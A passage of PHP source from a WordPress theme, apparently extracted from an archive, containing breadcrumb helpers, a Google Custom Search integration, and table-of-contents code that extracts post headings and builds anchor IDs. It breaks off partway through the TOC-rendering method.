if ( ! function_exists( 'penci_get_post_parents' ) ) {
	function penci_get_post_parents( $post_id = '' ) {
		// Set up some default array.
		$list = array();

		// If no post ID is given, return an empty array.
		if ( empty( $post_id ) ) {
			return $list;
		}

		do {
			$list[] = $post_id;

			// Get next parent post
			$post    = get_post( $post_id );
			$post_id = $post->post_parent;
		} while ( $post_id );

		// Reverse the array to put them in the proper order for the trail.
		$list = array_reverse( $list );
		array_pop( $list );

		return $list;
	}
}

if ( ! function_exists( 'penci_bread_primary_term' ) ) {

	function penci_bread_primary_term( $term, $taxonomy ) {
		if ( class_exists( 'WPSEO_Primary_Term' ) ) {
			$wpseo_primary_term = new WPSEO_Primary_Term( $taxonomy, get_the_id() );
			$wpseo_primary_term = $wpseo_primary_term->get_primary_term();
			$primary_term       = get_term( $wpseo_primary_term );

			if ( ! is_wp_error( $primary_term ) ) {
				$term = $primary_term;
			}
		}

		return $term;
	}
}

/**
 * Searches for term parents' IDs of hierarchical taxonomies, including current term.
 * This function is similar to the WordPress function get_category_parents() but handles any type of taxonomy.
 * Modified from Hybrid Framework
 *
 * @param int|string $term_id The term ID
 * @param object|string $taxonomy The taxonomy of the term whose parents we want.
 *
 * @return array Array of parent terms' IDs.
 */
if ( ! function_exists( 'penci_get_term_parents' ) ) {
	function penci_get_term_parents( $term_id = '', $taxonomy = 'category' ) {
		// Set up some default arrays.
		$list = array();

		// If no term ID or taxonomy is given, return an empty array.
		if ( empty( $term_id ) || empty( $taxonomy ) ) {
			return $list;
		}

		do {
			$list[] = $term_id;

			// Get next parent term
			$term    = get_term( $term_id, $taxonomy );
			$term_id = $term->parent;
		} while ( $term_id );

		// Reverse the array to put them in the proper order for the trail.
		$list = array_reverse( $list );
		array_pop( $list );

		return $list;
	}
}
PK     N\\k
      inc/google_search.phpnu [        <?php
if ( ! class_exists( 'Penci_Google_Search' ) ) {

	class Penci_Google_Search {
		function __construct() {

			if ( ! get_theme_mod( 'penci_gsr_enable' ) ) {
				return false;
			}

			global $wp;

			$wp->add_query_var( 'q' );
			$wp->remove_query_var( 's' );

			add_action( 'init', array( $this, 'init' ), 0 );
			add_filter( 'template_include', [ $this, 'search_result_page' ], 99 );
			add_filter( 'request', [ $this, 'request' ] );
			add_filter( 'template_redirect', [ $this, 'fix_search_url' ] );
		}

		public function fix_search_url() {
			if ( isset( $_REQUEST['s'] ) && $_REQUEST['s'] ) {
				wp_redirect( home_url( '/' ) . '?q=' . esc_attr( $_REQUEST['s'] ) );
				die;
			}
		}

		public function request( $request ) {
			if ( isset( $_REQUEST['q'] ) ) {
				$request['s'] = $_REQUEST['q'];
			}

			return $request;
		}

		public function init() {

			wp_enqueue_script(
				'google_cse_v2',
				PENCI_SOLEDAD_URL . '/js/google_cse_v2.js',
				array( // dependencies
				),
				1.0,
				true
			);

			$script_params = array(
				'google_search_engine_id' => get_theme_mod( 'penci_gsr_id' )
			);

			wp_localize_script( 'google_cse_v2', 'scriptParams', $script_params );

		}

		public function search_result_page( $template ) {
			if ( is_search() && ! is_admin() ) {
				$template = locate_template( array( 'inc/templates/google_search_result.php' ) );
			}

			return $template;
		}
	}
}

new Penci_Google_Search;PK     N\=      inc/toc/helper_new.phpnu [        <?php
if ( ! function_exists( 'penci_toc_wp_strip_all_tags' ) ) {
	function penci_toc_wp_strip_all_tags( $text, $remove_breaks = false ) {

		if ( is_null( $text ) ) {
			return '';
		}

		if ( ! is_scalar( $text ) ) {
			/*
			 * To maintain consistency with pre-PHP 8 error levels,
			 * wp_trigger_error() is used to trigger an E_USER_WARNING,
			 * rather than _doing_it_wrong(), which triggers an E_USER_NOTICE.
			 */
			wp_trigger_error(
				'',
				sprintf(
				/* translators: 1: The function name, 2: The argument number, 3: The argument name, 4: The expected type, 5: The provided type. */
					__( 'Warning: %1$s expects parameter %2$s (%3$s) to be a %4$s, %5$s given.' ),
					__FUNCTION__,
					'#1',
					'$text',
					'string',
					gettype( $text )
				),
				E_USER_WARNING
			);

			return '';
		}

		$text = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $text );
		$text = strip_tags( $text, apply_filters( 'penci_toc_allowable_tags', '' ) );

		if ( $remove_breaks ) {
			$text = preg_replace( '/[\r\n\t ]+/', ' ', $text );
		}

		return trim( $text );
	}
}
if ( ! function_exists( 'insertElementByImgTag' ) ) {
	function insertElementByImgTag( $content, $toc ) {
		$find    = array( '</figure>' );
		$replace = array( '</figure>' . $toc );

		return mb_find_replace( $find, $replace, $content );
	}
}
if ( ! function_exists( 'insertElementByPTag' ) ) {
	function insertElementByPTag( $content, $toc ) {
		$find    = array( '</p>' );
		$replace = array( '</p>' . $toc );

		return mb_find_replace( $find, $replace, $content );
	}
}
if ( ! function_exists( 'penci_toc_auto_device_target_status' ) ) {
	function penci_toc_auto_device_target_status() {
		$status = true;
		if ( get_theme_mod( 'penci_toc_device_target' ) == 'mobile' ) {
			if ( function_exists( 'wp_is_mobile' ) && wp_is_mobile() ) {
				$status = true;
			} else {
				$status = false;
			}
		}
		if ( get_theme_mod( 'penci_toc_device_target' ) == 'desktop' ) {
			if ( function_exists( 'wp_is_mobile' ) && wp_is_mobile() ) {
				$status = false;
			} else {
				$status = true;
			}
		}

		return $status;
	}
}
if ( ! function_exists( 'penci_toc_para_blockquote_replace' ) ) {
	function penci_toc_para_blockquote_replace( $blockquotes, $content, $step ) {
		$bId = 0;
		if ( $step == 1 ) {
			foreach ( $blockquotes[0] as $blockquote ) {
				$replace = '#pencitocbq' . $bId . '#';
				$content = str_replace( trim( $blockquote ), $replace, $content );
				$bId ++;
			}
		} elseif ( $step == 2 ) {
			foreach ( $blockquotes[0] as $blockquote ) {
				$search  = '#pencitocbq' . $bId . '#';
				$content = str_replace( $search, trim( $blockquote ), $content );
				$bId ++;
			}
		}

		return $content;
	}
}
if ( ! function_exists( 'mb_find_replace' ) ) {
	function mb_find_replace( &$find = false, &$replace = false, &$string = '' ) {

		if ( is_array( $find ) && is_array( $replace ) && $string ) {

			// check if multibyte strings are supported
			if ( function_exists( 'mb_strpos' ) ) {


				for ( $i = 0; $i < count( $find ); $i ++ ) {

					$needle = $find[ $i ];
					$start  = mb_strpos( $string, $needle );

					// If heading can not be found, let try decoding entities to see if it can be found.
					if ( false === $start ) {

						$needle = html_entity_decode(
							$needle,
							ENT_QUOTES,
							get_option( 'blog_charset' )
						);

						$umlauts = false;
						$umlauts = apply_filters( 'pencitoc_modify_umlauts', $umlauts );
						if ( $umlauts ) {
							$string = html_entity_decode(
								$string,
								ENT_QUOTES,
								get_option( 'blog_charset' )
							);
						}

						$needle = str_replace( array( '’', '“', '”' ), array( '\'', '"', '"' ), $needle );

						$start = mb_strpos( $string, $needle );
					}

					/*
					 * `mb_strpos()` can return `false`. Only process `mb_substr_replace()` if position in string is found.
					 */
					if ( is_int( $start ) ) {

						$length             = mb_strlen( $needle );
						$apply_new_function = apply_filters( 'pencitoc_mb_subtr_replace', false, $string, $replace[ $i ], $start, $length );
						$string             = $apply_new_function ? $apply_new_function : mb_substr_replace( $string, $replace[ $i ], $start, $length );
					}

				}

			} else {

				for ( $i = 0; $i < count( $find ); $i ++ ) {

					$start  = strpos( $string, $find[ $i ] );
					$length = strlen( $find[ $i ] );

					/*
					 * `strpos()` can return `false`. Only process `substr_replace()` if position in string is found.
					 */
					if ( is_int( $start ) ) {

						$string = substr_replace( $string, $replace[ $i ], $start, $length );
					}
				}
			}
		}

		return $string;
	}
}
if ( ! function_exists( 'mb_substr_replace' ) ) {
	function mb_substr_replace( $string, $replacement, $start, $length = null ) {

		if ( is_array( $string ) ) {

			$num = count( $string );

			// $replacement
			$replacement = is_array( $replacement ) ? array_slice( $replacement, 0, $num ) : array_pad( array( $replacement ), $num, $replacement );

			// $start
			if ( is_array( $start ) ) {
				$start = array_slice( $start, 0, $num );
				foreach ( $start as $key => $value ) {
					$start[ $key ] = is_int( $value ) ? $value : 0;
				}
			} else {
				$start = array_pad( array( $start ), $num, $start );
			}

			// $length
			if ( ! isset( $length ) ) {
				$length = array_fill( 0, $num, 0 );
			} elseif ( is_array( $length ) ) {
				$length = array_slice( $length, 0, $num );
				foreach ( $length as $key => $value ) {
					$length[ $key ] = isset( $value ) ? ( is_int( $value ) ? $value : $num ) : 0;
				}
			} else {
				$length = array_pad( array( $length ), $num, $length );
			}

			// Recursive call
			return array_map( __FUNCTION__, $string, $replacement, $start, $length );
		}

		preg_match_all( '/./us', (string) $string, $smatches );
		preg_match_all( '/./us', (string) $replacement, $rmatches );

		if ( $length === null ) {

			$length = mb_strlen( $string );
		}

		array_splice( $smatches[0], $start, $length, $rmatches[0] );

		return join( $smatches[0] );
	}
}PK     N\h}  }    inc/toc/progress.phpnu [        <?php

use function Soledad\Table_Of_Contents\String\br2;

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class SoledadToc_Post {

	private $queriedObjectID;
	private $post;
	private $permalink;
	private $pages = array();
	private $headingLevels = array();
	private $excludedNodes = array();
	private $collision_collector = array();
	private $hasTOCItems = false;

	public function __construct( WP_Post $post, $apply_content_filter = true ) {

		$this->post            = $post;
		$this->permalink       = get_permalink( $post );
		$this->queriedObjectID = get_queried_object_id();

		$apply_content_filter = $this->apply_filter_status( $apply_content_filter );

		if ( $apply_content_filter ) {

			$this->applyContentFilter()->process();
		} else {

			$this->process();
		}
	}

	private function apply_filter_status( $apply_content_filter ) {
		$plugins = apply_filters(
			'penci_toc_apply_filter_status',
			array(
				'booster-extension/booster-extension.php',
				'divi-bodycommerce/divi-bodyshop-woocommerce.php',
				'social-pug/index.php',
				'modern-footnotes/modern-footnotes.php',
				'yet-another-stars-rating-premium/yet-another-stars-rating.php'
			)
		);

		foreach ( $plugins as $value ) {
			if ( in_array( $value, apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
				$apply_content_filter = false;
			}
		}

		$apply_content_filter = apply_filters( 'penci_toc_apply_filter_status_manually', $apply_content_filter );
		global $pencitoc_disable_the_content;
		if ( $pencitoc_disable_the_content ) {
			$apply_content_filter         = false;
			$pencitoc_disable_the_content = false;
		}

		return $apply_content_filter;
	}

	public static function get( $id ) {

		$post = get_post( $id );

		if ( ! $post instanceof WP_Post ) {

			return null;
		}

		return new static( $post );
	}

	private function process() {

		$this->processPages();

		return $this;
	}

	private function applyContentFilter() {

		/*
		 * Parses dynamic blocks out of post_content and re-renders them for gutenberg blocks.
		 */
		if ( function_exists( 'do_blocks' ) ) {
			$this->post->post_content = do_blocks( $this->post->post_content );
		} else {
			$this->post->post_content = $this->post->post_content;
		}

		add_filter( 'strip_shortcodes_tagnames', array( __CLASS__, 'stripShortcodes' ), 10, 2 );

		/*
		 * Ensure the PenciTOC content filter is not applied when running `the_content` filter.
		 */
		remove_filter( 'the_content', array( 'PenciTOC', 'the_content' ), 100 );

		$enable_memory_fix = get_option( 'penci_toc_enable_memory_fix' );
		if ( $enable_memory_fix ) {
			$this->post->post_content = $this->stripShortcodesButKeepContent( $this->post->post_content );
		}

		$this->post->post_content = apply_filters( 'the_content', strip_shortcodes( $this->post->post_content ) );

		add_filter( 'the_content', array(
			'PenciTOC',
			'the_content'
		), 100 );  // increased  priority to fix other plugin filter overwriting our changes

		remove_filter( 'strip_shortcodes_tagnames', array( __CLASS__, 'stripShortcodes' ) );

		return $this;
	}

	public static function stripShortcodes( $tags_to_remove, $content ) {

		/*
		 * Ensure the PenciTOC shortcodes are not processed when applying `the_content` filter
		 * otherwise an infinite loop may occur.
		 */
		$tags_to_remove = apply_filters(
			'penci_toc_strip_shortcodes_tagnames',
			array(
				'penci-toc',
				'penci-toc-widget-sticky',
				apply_filters( 'penci_toc_shortcode', 'toc' ),
			),
			$content
		);

		return $tags_to_remove;
	}

	protected function getCurrentPage() {

		global $wp_query;

		// Check to see if the global `$wp_query` var is an instance of WP_Query and that the get() method is callable.
		// If it is then when can simply use the get_query_var() function.
		if ( $wp_query instanceof WP_Query && is_callable( array( $wp_query, 'get' ) ) ) {

			$page = get_query_var( 'page', 1 );

			return 1 > $page ? 1 : $page;

			// If a theme or plugin broke the global `$wp_query` var, check to see if the $var was parsed and saved in $GLOBALS['wp_query']->query_vars.
		} elseif ( isset( $GLOBALS['wp_query']->query_vars['page'] ) ) {

			return $GLOBALS['wp_query']->query_vars['page'];

			// We should not reach this, but if we do, lets check the original parsed query vars in $GLOBALS['wp_the_query']->query_vars.
		} elseif ( isset( $GLOBALS['wp_the_query']->query_vars['page'] ) ) {

			return $GLOBALS['wp_the_query']->query_vars['page'];

			// Ok, if all else fails, check the $_REQUEST super global.
			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason : Nonce verification is not required here.
		} elseif ( isset( $_REQUEST['page'] ) ) {
			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason : Nonce verification is not required here.
			return $_REQUEST['page'];
		}

		// Finally, return the $default if it was supplied.
		return 1;
	}

	protected function getNumberOfPages() {

		return count( $this->pages );
	}

	protected function isMultipage() {

		return 1 < $this->getNumberOfPages();
	}

	private function processPages() {

		$content = apply_filters( 'penci_toc_modify_process_page_content', $this->post->post_content );

		// Fix for wordpress category pages showing wrong toc if they have description
		if ( is_category() ) {
			$cat_from_query = get_query_var( 'cat', null );
			if ( $cat_from_query ) {
				$category = get_category( $cat_from_query );
				if ( is_object( $category ) && property_exists( $category, 'description' ) && ! empty( $category->description ) ) {
					$content = $category->description;
				}
			}
		}

		if ( is_tax() || is_tag() ) {
			global $wp_query;
			$tax = $wp_query->get_queried_object();
			if ( is_object( $tax ) ) {
				$content = apply_filters( 'penci_toc_modify_taxonomy_content', $tax->description, $tax->term_id );
			}
		}

		if ( function_exists( 'is_product_category' ) && is_product_category() ) {
			$term_object = get_queried_object();
			if ( ! empty( $term_object->description ) ) {
				$content = $term_object->description;
			}
		}

		if ( in_array( 'js_composer_salient/js_composer.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {

			$pencitoc_post_id   = get_the_ID();
			$pencitoc_post_meta = get_option( 'penci-toc-post-meta-content', false );

			if ( ! empty( $pencitoc_post_meta ) && ! empty( $pencitoc_post_id ) && isset( $pencitoc_post_meta[ $pencitoc_post_id ] ) ) {

				if ( empty( $content ) ) {

					$content = $pencitoc_post_meta[ $pencitoc_post_id ];

				} else {

					$content .= $pencitoc_post_meta[ $pencitoc_post_id ];

				}
			}
		}

		$pages = array();

		$split = preg_split( '/<!--nextpage-->/msuU', $content );

		$page          = $first_page = 1;
		$totalHeadings = [];

		if ( is_array( $split ) ) {

			foreach ( $split as $content ) {

				$this->extractExcludedNodes( $page, $content );

				$totalHeadings[] = array(
					'headings' => $this->extractHeadings( $content, $page ),
					'content'  => $content,
				);

				$page ++;
			}

		}
		$pages[ $first_page ] = $totalHeadings;

		$this->pages = $pages;
	}

	public function getPages() {

		return $this->pages;
	}

	private function extractExcludedNodes( $page, $content ) {

		if ( ! class_exists( 'TagFilter' ) ) {
			require_once( PENCI_SOLEDAD_DIR . '/inc/toc/tag_filter.php' );
		}

		$tagFilterOptions = TagFilter::GetHTMLOptions();

		// Set custom TagFilter options.
		$tagFilterOptions['charset'] = get_option( 'blog_charset' );

		$html = TagFilter::Explode( $content, $tagFilterOptions );

		/**
		 * @param $selectors array  Array of classes/id selector to exclude from TOC.
		 * @param $content   string Post content.
		 *
		 * @since 2.0
		 *
		 */
		$selectors = apply_filters( 'penci_toc_exclude_by_selector', array( '.penci-toc-exclude-headings' ), $content );
		$selectors = ! is_array( $selectors ) ? [] : $selectors; // In case we get string instead of array
		$nodes     = $html->Find( implode( ',', $selectors ) );
		if ( isset( $nodes['ids'] ) ) {
			foreach ( $nodes['ids'] as $id ) {

				array_push( $this->excludedNodes, $html->Implode( $id, $tagFilterOptions ) );
			}
		}

		/**
		 * TagFilter::Implode() writes br tags as `<br>` while WP normalizes to `<br />`.
		 * Normalize `$eligibleContent` to match WP.
		 *
		 * @see wpautop()
		 */
	}

	private function extractHeadings( $content, $page = 1 ) {

		$matches = array();

		if ( in_array( 'elementor/elementor.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) || function_exists( 'koyfin_setup' ) ) {
			$content = apply_filters( 'penci_toc_extract_headings_content', $content );
		} else {
			$content = apply_filters( 'penci_toc_extract_headings_content', wptexturize( $content ) );
		}

		/**
		 * Lasso Product Compatibility
		 * @since 2.0.46
		 */
		$regEx = apply_filters( 'penci_toc_regex_filteration', '/(<h([1-6]{1})[^>]*>)(.*)<\/h\2>/msuU' );

		// get all headings
		// the html spec allows for a maximum of 6 heading depths
		if ( preg_match_all( $regEx, $content, $matches, PREG_SET_ORDER ) ) {

			$minimum = absint( get_theme_mod( 'penci_toc_start', 3 ) );

			$this->removeHeadingsFromExcludedNodes( $matches );
			$this->removeHeadings( $matches );
			$this->excludeHeadings( $matches );
			$this->removeEmptyHeadings( $matches );

			if ( count( $matches ) >= $minimum ) {

				$this->headingIDs( $matches );
				$this->addPage( $matches, $page );
				$this->hasTOCItems = true;

			} else {

				return array();
			}

		}

		return array_values( $matches ); // Rest the array index.
	}

	private function addPage( &$matches, $page ) {
		foreach ( $matches as $i => $match ) {
			$matches[ $i ]['page'] = $page;
		}

		return $matches;
	}

	private function inExcludedNode( $string ) {

		foreach ( $this->excludedNodes as $node ) {

			if ( empty( $node ) || empty( $string ) ) {

				return false;
			}

			if ( false !== strpos( $node, $string ) ) {

				return true;
			}
		}

		return false;
	}

	private function removeHeadingsFromExcludedNodes( &$matches ) {

		foreach ( $matches as $i => $match ) {

			$match[3] = apply_filters( 'penci_toc_filter_headings_from_exclude_nodes', $match[3] );

			if ( $this->inExcludedNode( "{$match[3]}</h$match[2]>" ) ) {

				unset( $matches[ $i ] );
			}
		}

		return $matches;
	}

	private function getHeadingLevels() {

		$levels = get_theme_mod( 'penci_toc_heading_levels', array( '2', '3', '4', '5', '6' ) );

		$this->headingLevels = $levels;

		return $this->headingLevels;
	}

	private function removeHeadings( &$matches ) {

		$levels = $this->getHeadingLevels();

		if ( count( $levels ) != 6 ) {

			$new_matches = array();

			foreach ( $matches as $i => $match ) {

				if ( in_array( $matches[ $i ][2], $levels ) ) {

					$new_matches[ $i ] = $matches[ $i ];
				}
			}

			$matches = $new_matches;
		}

		return $matches;
	}

	private function excludeHeadings( &$matches ) {

		$exclude = get_theme_mod( 'penci_toc_exclude', '' );

		if ( $exclude ) {

			$excluded_headings = explode( '|', $exclude );
			$excluded_count    = count( $excluded_headings );

			if ( $excluded_count > 0 ) {

				for ( $j = 0; $j < $excluded_count; $j ++ ) {

					$excluded_headings[ $j ] = preg_quote( $excluded_headings[ $j ] );

					// escape some regular expression characters
					// others: http://www.php.net/manual/en/regexp.reference.meta.php
					$excluded_headings[ $j ] = str_replace(
						array( '\*', '/', '%' ),
						array( '.*', '\/', '\%' ),
						trim( $excluded_headings[ $j ] )
					);
				}

				$new_matches = array();

				foreach ( $matches as $i => $match ) {

					$found = false;

					$against = html_entity_decode(
						( in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) ? wp_strip_all_tags( str_replace( array(
							"\r",
							"\n"
						), ' ', $matches[ $i ][0] ) ) : wptexturize( wp_strip_all_tags( str_replace( array(
							"\r",
							"\n"
						), ' ', $matches[ $i ][0] ) ) ),
						ENT_NOQUOTES,
						get_option( 'blog_charset' )
					);

					for ( $j = 0; $j < $excluded_count; $j ++ ) {

						// Since WP manipulates the post content it is required that the excluded header and
						// the actual header be manipulated similarly so a match can be made.
						$pattern = html_entity_decode(
							( in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) ? $excluded_headings[ $j ] : wptexturize( $excluded_headings[ $j ] ),
							ENT_NOQUOTES,
							get_option( 'blog_charset' )
						);
						$against = trim( $against );
						if ( preg_match( '/^' . $pattern . '$/imU', $against ) ) {

							$found = true;
							break;
						}
					}

					if ( ! $found ) {

						$new_matches[ $i ] = $matches[ $i ];
					}
				}

				$matches = $new_matches;
			}
		}

		return $matches;
	}

	private function headingIDs( &$matches ) {

		foreach ( $matches as $i => $match ) {

			$matches[ $i ]['id'] = $this->generateHeadingIDFromTitle( $matches[ $i ][0] );
		}

		return $matches;
	}

	private function generateHeadingIDFromTitle( $heading ) {

		$return = false;

		if ( $heading ) {
			$heading = apply_filters( 'penci_toc_url_anchor_target_before', $heading );
			// WP entity encodes the post content.
			$return = html_entity_decode( $heading, ENT_QUOTES, get_option( 'blog_charset' ) );
			$return = br2( $return, ' ' );
			$return = trim( wp_strip_all_tags( $return ) );

			// Convert accented characters to ASCII.
			$return = remove_accents( $return );

			// replace newlines with spaces (eg when headings are split over multiple lines)
			$return = str_replace( array( "\r", "\n", "\n\r", "\r\n" ), ' ', $return );

			// Remove `&amp;` and `&nbsp;` NOTE: in order to strip "hidden" `&nbsp;`,
			// title needs to be converted to HTML entities.
			// @link https://stackoverflow.com/a/21801444/5351316
			$return = htmlentities2( $return );
			$return = str_replace( array( '&amp;', '&nbsp;' ), ' ', $return );
			$return = str_replace( array( '&shy;' ), '', $return );                    // removed silent hypen
			$return = html_entity_decode( $return, ENT_QUOTES, get_option( 'blog_charset' ) );

			// remove non alphanumeric chars
			$return = preg_replace( '/[\x00-\x1F\x7F]*/u', '', $return );

			//for procesing shortcode in headings
			$return = apply_filters( 'penci_toc_table_heading_title_anchor', $return );
			// Reserved Characters.
			// * ' ( ) ; : @ & = + $ , / ? # [ ]
			$return = str_replace(
				array( '*', '\'', '(', ')', ';', '@', '&', '=', '+', '$', ',', '/', '?', '#', '[', ']' ),
				'',
				$return
			);

			// Unsafe Characters.
			// % { } | \ ^ ~ [ ] `
			$return = str_replace(
				array( '%', '{', '}', '|', '\\', '^', '~', '[', ']', '`' ),
				'',
				$return
			);

			// Special Characters.
			// $ - _ . + ! * ' ( ) ,
			// Special case for Apostrophes (’) which is causing TOC link to break in Block themes and CM Tooltip Glossary plugin #556
			$return = str_replace(
				array( '$', '.', '+', '!', '*', '\'', '(', ')', ',', '’' ),
				'',
				$return
			);

			// Dashes
			// Special Characters.
			// - (minus) - (dash) â€“ (en dash) â€” (em dash)
			$return = str_replace(
				array( '-', '-', 'â€“', 'â€”' ),
				'-',
				$return
			);

			// Curley quotes.
			// â€˜ (curly single open quote) â€™ (curly single close quote) â€œ (curly double open quote) â€ (curly double close quote)
			$return = str_replace(
				array( 'â€˜', 'â€™', 'â€œ', 'â€' ),
				'',
				$return
			);

			// AMP/Caching plugins seems to break URL with the following characters, so lets replace them.
			$return = str_replace( array( ':' ), '_', $return );

			// Convert space characters to an `_` (underscore).
			$return = preg_replace( '/\s+/', '_', $return );

			// Replace multiple `-` (hyphen) with a single `-` (hyphen).
			$return = preg_replace( '/-+/', '-', $return );

			// Replace multiple `_` (underscore) with a single `_` (underscore).
			$return = preg_replace( '/_+/', '_', $return );

			// Remove trailing `-` (hyphen) and `_` (underscore).
			$return = rtrim( $return, '-_' );

			/*
			 * Encode URI based on ECMA-262.
			 *
			 * Only required to support the jQuery smoothScroll library.
			 *
			 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI#Description
			 * @link https://stackoverflow.com/a/19858404/5351316
			 */
			$return = preg_replace_callback(
				"{[^0-9a-z_.!~*'();,/?:@&=+$#-]}i",
				function ( $m ) {

					return sprintf( '%%%02X', ord( $m[0] ) );
				},
				$return
			);

			// lowercase everything?
			if ( get_theme_mod( 'penci_toc_lowercase' ) ) {

				$return = strtolower( $return );
			}

			// if blank, then prepend with the fragment prefix
			// blank anchors normally appear on sites that don't use the latin charset
			//@since  2.0.59
			if ( ! $return || true == get_theme_mod( 'penci_toc_all_fragment_prefix' ) ) {
				$return = ( get_theme_mod( 'penci_toc_fragment_prefix' ) ) ? get_theme_mod( 'penci_toc_fragment_prefix' ) : '_';
			}

			// hyphenate?
			if ( get_theme_mod( 'penci_toc_hyphenate' ) ) {

				$return = str_replace( '_', '-', $return );
				$return = preg_replace( '/-+/', '-', $return );
			}
		}

		if ( array_key_exists( $return, $this->collision_collector ) ) {

			$this->collision_collector[ $return ] ++;
			$return .= '-' . $this->collision_collector[ $return ];

		} else {

			$this->collision_collector[ $return ] = 1;
		}

		return apply_filters( 'penci_toc_url_anchor_target', $return, $heading );
	}

	private function removeEmptyHeadings( &$matches ) {

		$new_matches = array();
		foreach ( $matches as $i => $match ) {

			if ( trim( wp_strip_all_tags( $matches[ $i ][0] ) ) != false ) {

				$new_matches[ $i ] = $matches[ $i ];
			}
		}


		$matches = $new_matches;

		return $matches;
	}

	public function hasTOCItems() {

		return $this->hasTOCItems;
	}

	public function getHeadings( $page = null ) {

		$headings = array();

		if ( is_null( $page ) ) {

			$page = $this->getCurrentPage();
		}

		if ( ! empty( $this->pages ) || isset( $this->pages[ $page ] ) ) {

			$matches = $this->getHeadingsfromPageContents( $page );

			foreach ( $matches as $i => $match ) {

				$headings[] = str_replace(
					array(
						$matches[ $i ][1],                // start of heading
						'</h' . $matches[ $i ][2] . '>'   // end of heading
					),
					array(
						'>',
						'</h' . $matches[ $i ][2] . '>'
					),
					apply_filters( 'penci_toc_content_heading_title', $matches[ $i ][0] )
				);

			}
		}

		return $headings;
	}

	public function getTocTitleId( $page = null ) {
		$nav_data = array();
		if ( is_null( $page ) ) {
			$page = $this->getCurrentPage();
		}
		if ( ! empty( $this->pages ) || isset( $this->pages[ $page ] ) ) {
			$matches = $this->getHeadingsfromPageContents( $page );
			foreach ( $matches as $i => $match ) {
				$nav_data[ $i ]['title'] = wp_strip_all_tags( $matches[ $i ][0] );
				$nav_data[ $i ]['id']    = strtolower( str_replace( '_', '-', $matches[ $i ]['id'] ) );
			}
		}

		return $nav_data;
	}

	public function getHeadingsWithAnchors( $page = null ) {

		$headings = array();

		if ( is_null( $page ) ) {

			$page = $this->getCurrentPage();
		}

		if ( ! empty( $this->pages ) || isset( $this->pages[ $page ] ) ) {

			$matches = $this->getHeadingsfromPageContents( $page );
			$prefix  = get_theme_mod( 'penci_toc_prefix', 'penci' );
			$prefix  = $prefix ? $prefix . '-' : '';
			foreach ( $matches as $i => $match ) {

				$anchor = $matches[ $i ]['id'];

				$headings[] = str_replace(
					array(
						$matches[ $i ][1],                // start of heading
						'</h' . $matches[ $i ][2] . '>'   // end of heading
					),
					array(
						'><span class="penci-toc-section" id="' . $prefix . $anchor . '"></span>',
						'<span class="penci-toc-section-end"></span></h' . $matches[ $i ][2] . '>'
					),
					apply_filters( 'penci_toc_content_heading_title_anchor', $matches[ $i ][0] )
				);
			}
		}

		return $headings;
	}

	public function setContent( $content ) {

		$pages = array();
		$split = preg_split( '/<!--nextpage-->/msuU', $content );

		$page          = $first_page = 1;
		$totalHeadings = [];
		if ( is_array( $split ) ) {


			foreach ( $split as $content ) {

				$this->extractExcludedNodes( $page, $content );

				$totalHeadings[] = array(
					'headings' => $this->extractHeadings( $content, $page ),
					'content'  => $content,
				);

				$page ++;
			}

		}
		$pages[ $first_page ] = $totalHeadings;

		$this->pages = $pages;
	}

	private function getHeadingsfromPageContents( $page = 1 ) {
		$headings   = [];
		$first_page = 1;
		foreach ( $this->pages[ $first_page ] as $attributes ) {
			if ( isset( $attributes['headings'][0]['page'] ) && $page == $attributes['headings'][0]['page'] ) {
				foreach ( $attributes['headings'] as $heading ) {
					array_push( $headings, $heading );
				}
			}
		}

		return $headings;
	}

	private function createTOCParent( $prefix = "penci-toc", $toc_more = array() ) {
		$html       = '';
		$first_page = 1;
		$headings   = array();
		foreach ( $this->pages[ $first_page ] as $attribute ) {
			$headings = array_merge( $headings, $attribute['headings'] );
		}

		if ( ! empty( $headings ) ) {
			$html .= $this->createTOC( $first_page, $headings, $prefix, $toc_more );
		}

		return $html;
	}

	public function getTOCList( $prefix = "penci-toc", $options = [] ) {

		$html = '';

		$toc_more = isset( $options['view_more'] ) ? array( 'view_more' => $options['view_more'] ) : array();

		if ( isset( $options['hierarchy'] ) ) {
			$toc_more['hierarchy'] = true;
		} elseif ( isset( $options['no_hierarchy'] ) ) {
			$toc_more['no_hierarchy'] = true;
		}

		if ( isset( $options['collapse_hd'] ) ) {
			$toc_more['collapse_hd'] = true;
		} elseif ( isset( $options['no_collapse_hd'] ) ) {
			$toc_more['no_collapse_hd'] = true;
		}

		if ( $this->hasTOCItems ) {
			$html = $this->createTOCParent( $prefix, $toc_more );
			$html = apply_filters( 'penci_toc_add_custom_links', $html );
			$html = "<ul class='{$prefix}-list {$prefix}-list-level-1' >" . $html . "</ul>";
		}

		return $html;
	}

	public function getTOC( $options = [] ) {

		$class  = array( 'penci-toc-wrapper' );
		$max_lv = get_theme_mod( 'penci_toc_levels', 3 );
		$html   = '';

		if ( $this->hasTOCItems() ) {

			switch ( get_theme_mod( 'penci_toc_wrapping' ) ) {
				case 'left':
					$class[] = 'penci-toc-wrap-left';
					break;
				case 'right':
					$class[] = 'penci-toc-wrap-right';
					break;
				default:
					$class[] = 'penci-toc-default';
			}

			if ( get_theme_mod( 'penci_toc_show_hierarchy', true ) ) {
				$class[] = 'counter-hierarchy';
			} else {
				$class[] = 'counter-flat';
			}
			switch ( get_theme_mod( 'penci_toc_counter', 'decimal' ) ) {
				case 'numeric':
					$class[] = 'counter-numeric';
					break;
				case 'roman':
					$class[] = 'counter-roman';
					break;
				case 'decimal':
					$class[] = 'counter-decimal';
					break;
			}

